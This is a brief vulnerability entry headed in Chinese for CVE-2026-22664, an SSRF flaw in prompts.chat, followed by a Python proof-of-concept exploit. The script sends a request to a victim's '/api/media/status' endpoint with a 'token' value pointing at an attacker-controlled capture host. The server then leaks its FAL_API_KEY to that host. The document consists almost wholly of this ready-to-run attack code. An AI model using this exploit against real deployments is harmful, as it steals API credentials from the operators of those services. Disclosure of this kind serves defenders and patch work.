CVE-2026-22664 prompts.chat存在SSRF漏洞

import requests # Target URL of the vulnerable prompts.chat instance target_url = "http://victim-prompts-chat.com/api/media/status" # Attacker controlled server to capture the leaked FAL_API_KEY attacker_controlled_url = "http://attacker-server.com/capture" # The vulnerable parameter 'token' is used to trigger the SSRF payload = { "token": attacker_controlled_url } # Headers (Simulating a low-privilege authenticated user) headers = { "Authorization": "Bearer <low_priv_user_token>", "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers) print(f"Request sent. Status code: {response.status_code}") print("Check attacker_server logs for the FAL_API_KEY in the Authorization header.") except Exception as e: print(f"Error: {e}")